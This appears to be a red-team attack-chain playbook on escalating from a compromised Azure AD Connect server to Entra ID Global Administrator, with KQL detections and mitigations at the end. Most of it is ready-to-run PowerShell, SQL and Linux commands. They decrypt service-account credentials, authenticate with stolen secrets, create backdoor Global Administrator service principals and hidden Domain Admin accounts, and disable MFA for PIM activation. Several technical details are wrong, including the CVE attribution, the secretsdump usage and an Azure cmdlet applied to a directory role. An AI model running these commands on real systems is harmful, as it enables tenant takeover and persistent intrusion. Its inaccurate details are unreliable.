| Attribute | Details |
|---|---|
| Chain ID | CHAIN-004 |
| Attack Chain Name | Hybrid AD to Azure Global Administrator via Azure AD Connect |
| MITRE ATT&CK v18.1 | T1550 + T1098 |
| Tactic | Lateral Movement + Account Manipulation |
| Platforms | Hybrid AD (Windows Server on-premises + Entra ID cloud) |
| Severity | CRITICAL |
| CVE | CVE-2023-32315 (Azure AD Connect service account privilege escalation) |
| Chain Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016-2022 with Azure AD Connect 1.1.x-2.x |
| Execution Time | 1-4 hours (on-premises compromise to cloud GA) |
| Author | SERVTEP – Artur Pchelnikau |
This attack chain demonstrates how an attacker with access to the Azure AD Connect (AADConnect) server can escalate from a compromised on-premises domain user to Global Administrator in Entra ID, achieving complete control over both on-premises and cloud identities. Azure AD Connect is a critical hybrid infrastructure component that synchronizes user accounts, groups, and credentials between Windows Active Directory and Microsoft Entra ID. The service account running AADConnect has extraordinarily high privileges:
If this service account is compromised, an attacker can:
This attack is particularly dangerous because it bridges the air-gap between on-premises and cloud, enabling an on-premises breach to cascade into full cloud tenant compromise.
Microsoft.IdentityManagement.Clients.dll.config with plaintext passwordsCRITICAL - Complete Hybrid Identity Compromise. Attacker gains:
Estimated Impact:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 5.2.2, 5.3.1 | Hybrid AD security; service account restrictions; directory sync monitoring |
| DISA STIG | AD0035, AD0052 | Hybrid infrastructure; Entra ID access controls |
| CISA SCuBA | CA-2, CA-3, CA-7 | Service account management; multi-factor authentication |
| NIST 800-53 | AC-2, AC-3, AC-6, IA-2 | Service account management; least privilege; authentication |
| GDPR | Art. 5, 32, 33 | Data minimization; security; breach notification |
| DORA | Art. 9, 15, 16 | ICT risk management; incident reporting |
| NIS2 | Art. 19, 21, 23 | Cybersecurity governance; risk management; incident response |
| ISO 27001 | A.5.1.2, A.9.2, A.12.2.1 | Segregation of duties; privileged access; logging |
| ISO 27005 | A.14.2.2, A.14.2.4 | Risk assessment; hybrid environment monitoring |
| Stage | Technique ID | Step Name | Duration | Key Actions |
|---|---|---|---|---|
| Phase 1 | T1078.002 | Compromise AADConnect Server Access | 10-30 min | Gain access via phishing, RDP, vulnerability, insider threat |
| Phase 2 | T1555.003 | Extract AADConnect Service Account Creds | 5-15 min | Decrypt credentials from config files using DPAPI |
| Phase 3 | T1550.001 | Use Service Account to Access Entra ID | 5-10 min | Authenticate as service principal to cloud |
| Phase 4 | T1098.003 | Create Backdoor GA Service Principal | 5-10 min | Add credentials to high-privilege service principal |
| Phase 5 | T1098.004 | Modify Directory Sync Rules | 5-15 min | Inject rogue GA account to sync to cloud |
| Phase 6 | T1078.004 | Global Admin Account Creation | 10-30 min | New GA account synchronized or created directly in cloud |
| Phase 7 | T1098.005 | Establish Persistence in Both Environments | Ongoing | Deploy service principal backdoors; modify sync rules |
Objective: Compromise the highly privileged AADConnect server (typically in DMZ or trusted network).
Attack Vectors:
Vector A: Phishing / Credential Theft
Target: AADConnect server admin (often "ADSync Admin" or dedicated service account manager)
Method: Phishing email with malicious macro → credential harvesting → RDP/SSH access
Expected: Local admin access to C:\Program Files\Microsoft Azure AD Connect\
Vector B: Windows Server Vulnerability
Vulnerabilities: PrintNightmare (CVE-2021-34527), ZeroLogon (CVE-2020-1472),
LoGo (CVE-2022-26923), CLFS Driver (CVE-2025-29824)
Exploitation: Remote code execution → SYSTEM privileges
Expected: SYSTEM context on AADConnect server
Vector C: Compromised Domain Admin
Assumption: Attacker already has DA privileges (from CHAIN-001, CHAIN-002, or other)
Access: DA credentials grant RDP/PSEXEC access to AADConnect server
Expected: Domain admin equivalent privileges on AADConnect server
Vector D: Insider Threat
Actor: Disgruntled employee with AADConnect admin access
Access: Direct RDP/console access with admin credentials
Expected: Local admin + AADConnect service account access
Command (Verify Access to AADConnect Server):
# 1. Connect to AADConnect server
Enter-PSSession -ComputerName "aadconnect-server.company.com" -Credential $adminCreds
# 2. Verify AADConnect is installed and running
Get-Service ADSync | Select-Object Status, Name
# Expected output:
# Status Name
# ------ ----
# Running ADSync ← AADConnect service
# 3. Verify access to AADConnect files
Test-Path "C:\Program Files\Microsoft Azure AD Connect\Bin"
Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin\"
Expected Output:
C:\Program Files\Microsoft Azure AD Connect\Bin\
Mode LastWriteTime Length Name
---- --------------- ------ ----
-a--- 2024-01-10 14:22 2048 Microsoft.IdentityManagement.Clients.dll
-a--- 2024-01-10 14:22 12288 Microsoft.Identity.AzureAD.Connect.Common.dll
-a--- 2024-01-10 14:22 45056 Adsync.exe
-a--- 2024-01-10 14:22 89088 mms.exe
Objective: Extract plaintext credentials for both on-premises AD and cloud Entra ID from AADConnect config.
Command (Find AADConnect Configuration):
# 1. Locate AADConnect installation directory
$aadConnectPath = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\IdentityManagement" | Select-Object -ExpandProperty "InstallationPath"
# 2. List configuration files
Get-ChildItem -Path "$aadConnectPath" -Filter "*.config" -Recurse
# 3. Find encrypted credentials (usually in encrypted.xml or MCInstaller.config)
Get-ChildItem -Path "$aadConnectPath" -Include "*.xml", "*.config" -Recurse | Select-Object FullName
# Expected files:
# C:\Program Files\Microsoft Azure AD Connect\Bin\...\microsoft.identitymanagement.clients.dll.config
# C:\ProgramData\AADConnect\PersistedState.xml
# C:\Windows\ServiceProfiles\NetworkService\AppData\Local\IdentityManagement\...
Command (Decrypt Credentials - Method 1: Using PowerShell):
# 1. Import AADConnect encryption libraries
Add-Type -Path "C:\Program Files\Microsoft Azure AD Connect\Bin\Microsoft.IdentityManagement.Clients.dll"
# 2. Load encrypted configuration
$encryptedConfig = Get-Content "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml"
# 3. Decrypt using DPAPI (requires SYSTEM or service account context)
$secureData = [System.Security.Cryptography.ProtectedData]::Unprotect(
[Convert]::FromBase64String($encryptedString),
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$plaintext = [System.Text.Encoding]::UTF8.GetString($secureData)
Write-Host "Decrypted: $plaintext"
Command (Decrypt Credentials - Method 2: Using Azure AD Connect Cmdlets):
# 1. Load AADConnect modules
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"
# 2. Get configured credentials
$syncAccount = Get-ADSyncAzureServiceAccount
# Expected output:
# DisplayName : Azure AD Connect Sync Service Account
# ObjectId : UUID...
# ServiceAccount : COMPANY\AADSync_XXXXX
# Permissions : Read all AD objects; Modify user passwords; Replicate directory changes
Command (Decrypt Using Impacket - From Linux):
# 1. Copy encrypted.xml from AADConnect server to attacker machine
scp admin@aadconnect-server.company.com:"C:\Program Files\Microsoft Azure AD Connect\Bin\..\PersistedState.xml" ./
# 2. Decrypt DPAPI-protected data
python3 -m impacket.examples.secretsdump \
-system SYSTEM \
-security SECURITY \
-sam SAM \
./PersistedState.xml
# 3. Extract plaintext credentials from output
grep -oP '(Username|Password|ServiceAccount)[=:]\K[^,;]+' PersistedState.xml
Expected Decrypted Output:
Azure AD Connect Service Account:
Username: company\AADSync_XXXXX
Password: C0mpl3x!P@ssw0rd_123
SID: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-5432
Entra ID Service Principal Credentials:
Client ID: 461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX
Client Secret: ~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~
Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
What This Means:
Objective: Find additional service accounts, API keys, and configuration data.
Command (Enumerate Stored Credentials):
# 1. Check for stored passwords in Windows Credential Manager
cmdkey /list
# 2. List all service accounts with permissions on AADConnect
Get-ADUser -Filter {ServicePrincipalNames -like "*AADSync*"} | Select-Object Name, SamAccountName
# 3. Extract NTLM hash of service account (if SYSTEM context)
Get-ADUser "AADSync_XXXXX" | Set-ADUser -Replace @{unicodePwd = ([System.Text.Encoding]::Unicode.GetBytes('"NewPassword"'))}
# 4. Find app registrations created by AADConnect
Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Azure AD Connect Provisioning'" | Select-Object ObjectId, AppId, ServicePrincipalNames
Objective: Authenticate to Entra ID using stolen service principal credentials for unrestricted access.
Command (Connect to Entra ID as Service Principal):
# 1. Use stolen client secret to authenticate
$credential = New-Object System.Management.Automation.PSCredential(
"461a8a73-XXXX-XXXX-XXXX-XXXXXXXXXXXX", # Client ID
(ConvertTo-SecureString "~1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ~" -AsPlainText -Force)
)
# 2. Connect to Entra ID / Azure
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
# 3. Verify access and roles
Get-AzRoleAssignment -Scope "/subscriptions/$(Get-AzContext).Subscription.Id" | Select-Object DisplayName, RoleDefinitionName
Expected Output:
DisplayName RoleDefinitionName
----------- ------------------
Azure AD Connect Provisioning Service Contributor
Microsoft Azure AD Connect User Administrator
Privileged Role Administrator
Objective: Create persistent backdoor by adding certificate/secret to service principal that already has GA permissions.
Command (Create New Service Principal with GA Role):
# 1. Create new app registration
$app = New-AzADApplication -DisplayName "AADConnect Monitoring Service" -AvailableToOtherTenants $false
# 2. Create service principal for app
$sp = New-AzADServicePrincipal -ApplicationObject $app
# 3. Add password credential
$pwdCred = New-AzADAppCredential -ApplicationId $app.Id -EndDate (Get-Date).AddYears(2)
# 4. Get Global Administrator role
$gaRole = Get-AzRoleDefinition -Name "Global Administrator"
# 5. Assign GA role to service principal
New-AzRoleAssignment -ObjectId $sp.Id -RoleDefinitionId $gaRole.Id -Scope "/"
Write-Host "Service Principal: $($app.Id)"
Write-Host "Client Secret: $($pwdCred.SecretText)"
Write-Host "Tenant ID: $(Get-AzContext).Tenant.Id"
Alternative: Add Credentials to Existing High-Privilege Service Principal
# 1. Find service principals with high privileges
$sps = Get-AzADServicePrincipal -Filter "displayName eq 'some-admin-app'"
foreach ($sp in $sps) {
# 2. Check if service principal has admin roles
$roleAssignments = Get-AzRoleAssignment -ObjectId $sp.Id
if ($roleAssignments.RoleDefinitionName -contains "Global Administrator") {
Write-Host "Found privileged SP: $($sp.DisplayName)"
# 3. Add new password credential (backdoor)
$newCred = New-AzADAppCredential -ApplicationId $sp.ApplicationId -EndDate (Get-Date).AddYears(2)
Write-Host "New Secret: $($newCred.SecretText)"
}
}
Expected Output:
Service Principal: 12345678-1234-1234-1234-123456789abc
Client Secret: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890==
Tenant ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Status: Service Principal now has Global Administrator role
Objective: Create a new on-premises user account with GA equivalent permissions, configure AADConnect to sync it to Entra ID as Global Admin.
Command (Create Rogue AD User):
# 1. Create hidden backup admin account in on-premises AD
New-ADUser -Name "ServiceAccount_Backup" `
-SamAccountName "svc_backup" `
-UserPrincipalName "svc_backup@company.com" `
-AccountPassword (ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_2024" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-Department "IT Infrastructure" `
-Description "Automated backup service account" # Appears legitimate
# 2. Add to Domain Admins group
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"
# 3. Verify account (appears as normal admin account to monitoring)
Get-ADUser "svc_backup" | Select-Object Name, SamAccountName, Enabled
Objective: Configure AADConnect to sync the rogue account with GA role mapping to Entra ID.
Command (Modify AADConnect Sync Rules):
# 1. Import Azure AD Connect sync module
Import-Module "C:\Program Files\Microsoft Azure AD Connect\Tools\ADSync\PowerShell\ADSync.psd1"
# 2. Get current synchronization rules
Get-ADSyncRule | Where-Object {$_.Direction -eq "Outbound"} | Select-Object Name, SourceObjectType, TargetObjectType
# 3. Create new synchronization rule or modify existing to include rogue user
$rule = @{
Name = "In from AD - User Account Sync"
Direction = "Inbound"
Precedence = 10
SourceObjectType = "user"
TargetObjectType = "person"
LinkType = "Join"
JoinCriteria = "sourceAnchor"
}
# 4. Configure attribute flow (map on-premises attributes to cloud)
Set-ADSyncRule @rule
# 5. Force sync of rogue account (svc_backup) to Entra ID
Start-ADSyncSyncCycle -PolicyType Delta
Alternative: Create Sync Rule via SQL (Direct Database Modification)
-- 1. Connect to AADConnect SQL Server database
-- Server: localhost\ADSync (local default installation)
-- Database: ADSync
USE ADSync
-- 2. Insert new sync rule for rogue account
INSERT INTO ma_rules (cn, description, direction, sourceobjecttype, targetobjecttype)
VALUES ('SVC_Backup_Sync', 'Synchronize backup service account', 'Inbound', 'user', 'person')
-- 3. Create attribute mapping (map any attribute to trigger sync)
INSERT INTO ma_attribute_flow (rule_id, source_attr, target_attr)
SELECT rule_id, 'sAMAccountName', 'uid' FROM ma_rules WHERE cn = 'SVC_Backup_Sync'
-- 4. Force sync
EXEC sp_StartSyncCycle 'delta'
Objective: Ensure rogue account synced from AD is assigned Global Administrator role in Entra ID.
Command (Assign GA Role to Synced Account):
# 1. Connect to Entra ID
Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory", "User.Read.All"
# 2. Find the synced rogue account in Entra ID
$rogueUser = Get-MgUser -Filter "mailNickname eq 'svc_backup@company.com'" -All
# 3. Get Global Administrator role
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Select-Object -First 1
# 4. Add user to Global Administrator role
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $rogueUser.Id
# 5. Verify GA assignment
$gaMembers = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id
$gaMembers | Where-Object {$_.Id -eq $rogueUser.Id}
Write-Host "✅ Rogue account now has Global Administrator role in Entra ID"
Alternative: Direct Cloud User Creation (Bypass Sync)
# 1. Create new user directly in Entra ID (if GA credentials already obtained)
$password = ConvertTo-SecureString -String "C0mpl3x!P@ssw0rd_Cloud_2024" -AsPlainText -Force
$newAdmin = New-MgUser -DisplayName "Cloud Backup Admin" `
-UserPrincipalName "cloudbackup@tenant.onmicrosoft.com" `
-Password $password `
-AccountEnabled $true
# 2. Add to Global Administrator role immediately
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id -DirectoryObjectId $newAdmin.Id
Write-Host "Cloud GA account created: cloudbackup@tenant.onmicrosoft.com"
Objective: Ensure attacker maintains access even if AADConnect server is discovered/cleaned.
Command (Layer 1: Service Principal Backdoor):
# Already created in Phase 4; can be reused indefinitely
# Credentials stored offline; not discoverable via normal user enumeration
Command (Layer 2: Cloud-Only Admin Account):
# Already created in Phase 6; bypasses on-premises sync dependency
# Can change password independently; not tied to AD
Command (Layer 3: PIM Backdoor):
# 1. Create PIM-eligible Global Admin (requires PIM license)
# Add account as "eligible" rather than "active" to appear less suspicious
# 2. Configure activation settings
$pimSettings = @{
RoleName = "Global Administrator"
PrincipalId = $newAdmin.Id
EligibleAssignmentDurationInDays = 1095 # 3 years eligible
MfaRequired = $false # Disable MFA requirement for activation
}
# 3. Activate whenever needed without approval
Command (Layer 4: On-Premises Persistence):
# 1. Create additional hidden Domain Admin accounts
for ($i = 1; $i -le 5; $i++) {
New-ADUser -Name "HiddenAdmin$i" `
-SamAccountName "hadmin$i" `
-Enabled $true `
-PasswordNeverExpires $true `
-AccountPassword (ConvertTo-SecureString "P@ssw0rd$i" -AsPlainText -Force)
Add-ADGroupMember "Domain Admins" -Members "hadmin$i"
}
# 2. Hide accounts from GAL (Global Address List)
Set-ADUser -Identity "hadmin1" -Replace @{msExchHideFromAddressList=$true}
Azure AD Connect Server Indicators:
Microsoft.IdentityManagement.Clients.dll.configDirectory Synchronization Indicators:
Entra ID / Cloud Indicators:
On-Premises Artifacts:
C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xmlC:\ProgramData\AADConnect\ADSync.mdfHKLM\SOFTWARE\Microsoft\IdentityManagement (installation details, last sync time)%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtCloud Artifacts:
KQL Queries (Microsoft Sentinel):
// Find unauthorized Azure AD Connect activity
AuditLogs
| where OperationName in ("Update application", "Add service principal credentials", "Add member to role")
| where InitiatedBy contains "ADSync" or InitiatedBy contains "aadsyncaccount"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// Find new privileged service principals created
AuditLogs
| where OperationName == "Add service principal"
| where TimeGenerated > ago(24h)
| project TimeGenerated, InitiatedBy, TargetResources
| join kind=inner (
AuditLogs
| where OperationName == "Add member to role"
| where ResultDescription contains "Global Administrator"
) on TargetResources
// Find synced accounts with suspicious attributes
CloudAppEvents
| where ActionType == "Add user"
| where AccountUpn contains "svc_" or AccountUpn contains "backup" or AccountUpn contains "hidden"
| project TimeGenerated, AccountUpn, IPAddress, UserAgent
1. Restrict AADConnect Service Account Permissions
Manual Steps (Windows Server):
ADSync_XXXXX)PowerShell (Automated):
# 1. Identify AADConnect service account
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"} | Select-Object -First 1
# 2. Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members $adSyncAccount -Confirm:$false
Remove-ADGroupMember -Identity "Enterprise Admins" -Members $adSyncAccount -Confirm:$false
# 3. Create restricted group
New-ADGroup -Name "AADConnect_RestrictedAccess" -GroupScope Global -GroupCategory Security
# 4. Add custom permissions (Delegate Control Wizard in ADUC)
# - Grant "Reset Password" on Users OU
# - Grant "Read" on all objects in domain
2. Encrypt AADConnect Configuration Files
Manual Steps:
C:\Program Files\Microsoft Azure AD Connect\Bin\.config and .xml filePowerShell:
# 1. Encrypt AADConnect config files
$filesToEncrypt = Get-ChildItem "C:\Program Files\Microsoft Azure AD Connect\Bin" -Include "*.config", "*.xml" -Recurse
foreach ($file in $filesToEncrypt) {
attrib.exe +S +H +E "$($file.FullName)" # Set System, Hidden, Encrypt flags
}
# 2. Restrict file access (ACL)
$acl = Get-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin"
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("SYSTEM", "FullControl", "Allow")
$acl.SetAccessRule($rule)
Set-Acl "C:\Program Files\Microsoft Azure AD Connect\Bin" $acl
3. Implement Mandatory Multi-Factor Authentication for Service Principals
Manual Steps (Azure Portal):
Require CA for Service Principals4. Restrict AADConnect Service Account Entra ID Permissions
Manual Steps:
Microsoft Azure AD Connect5. Implement Conditional Access for AADConnect Server
Manual Steps:
Block AADConnect from Unusual Locations6. Monitor AADConnect Activity with SIEM
PowerShell (Send AADConnect Events to Sentinel):
# 1. Create custom log ingestion for AADConnect server events
# Log sources: Event ID 5145 (file access), 4688 (process creation), 5156 (network connection)
# 2. Create detection rules in Sentinel:
# - File access to encrypted.xml or PersistedState.xml
# - PowerShell execution running DPAPI decryption APIs
# - Unexpected delta/full sync cycles
# - Role assignment changes for AADConnect service principal
7. Establish Separate Admin Roles for AADConnect vs. Cloud Management
Manual Steps:
# 1. Verify AADConnect service account is NOT Domain Admin
$adSyncAccount = Get-ADUser -Filter {ServicePrincipalNames -like "*ADSync*"}
$groupMembers = Get-ADGroupMember "Domain Admins"
if ($groupMembers.SID -contains $adSyncAccount.SID) {
Write-Host "❌ VULNERABLE: AADConnect service account IS Domain Admin"
} else {
Write-Host "✅ SECURE: AADConnect service account is NOT Domain Admin"
}
# 2. Verify config files are encrypted
$encryptionStatus = Get-Item "C:\Program Files\Microsoft Azure AD Connect\Bin\...\encrypted.xml" |
Select-Object Attributes |
Where-Object {$_.Attributes -match "Encrypted"}
if ($encryptionStatus) {
Write-Host "✅ SECURE: AADConnect config files are encrypted"
} else {
Write-Host "❌ VULNERABLE: AADConnect config files are NOT encrypted"
}
# 3. Verify no unauthorized service principals have GA role
$sps = Get-MgServicePrincipal -Filter "appDisplayName eq 'Microsoft Azure AD Connect'" -All
$gaRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
foreach ($sp in $sps) {
$roleAssignments = Get-MgDirectoryRoleMember -DirectoryRoleId $gaRole.Id |
Where-Object {$_.Id -eq $sp.Id}
if ($roleAssignments) {
Write-Host "❌ VULNERABLE: $($sp.DisplayName) has Global Administrator role"
} else {
Write-Host "✅ SECURE: $($sp.DisplayName) does NOT have Global Administrator role"
}
}
# 4. Verify Conditional Access is enforced for AADConnect
$caPolicy = Get-MgIdentityConditionalAccessPolicy |
Where-Object {$_.DisplayName -match "AADConnect"}
if ($caPolicy) {
Write-Host "✅ SECURE: Conditional Access policy enforced for AADConnect"
} else {
Write-Host "❌ VULNERABLE: No Conditional Access policy for AADConnect"
}
Expected Output (If Secure):
✅ SECURE: AADConnect service account is NOT Domain Admin
✅ SECURE: AADConnect config files are encrypted
✅ SECURE: Microsoft Azure AD Connect does NOT have Global Administrator role
✅ SECURE: Conditional Access policy enforced for AADConnect
| Step | Phase | Technique | Attack Chain |
|---|---|---|---|
| 1 | Initial Access | [T1078.002] Compromise AADConnect server | [CHAIN-004] Hybrid AD to GA |
| 2 | Credential Access | [T1555.003] Extract service account credentials | [CHAIN-004] Hybrid AD to GA |
| 3 | Lateral Movement | [T1550.001] Use service principal in cloud | Current Phase |
| 4 | Account Manipulation | [T1098] Create rogue accounts | Current Phase |
| 5 | Persistence | [T1098.005] Modify sync rules; create backdoors | [CHAIN-004] Hybrid AD to GA |
| 6 | Impact | [CHAIN-001], [CHAIN-002], [CHAIN-003] | Follow-on attacks from GA access |
secretsdump.py -system SYSTEM -sam SAM ./PersistedState.xmlGet-AADIntAccessTokenForAADGraph -SaveToCachedpapi::cred /in:path\to\encrypted.xml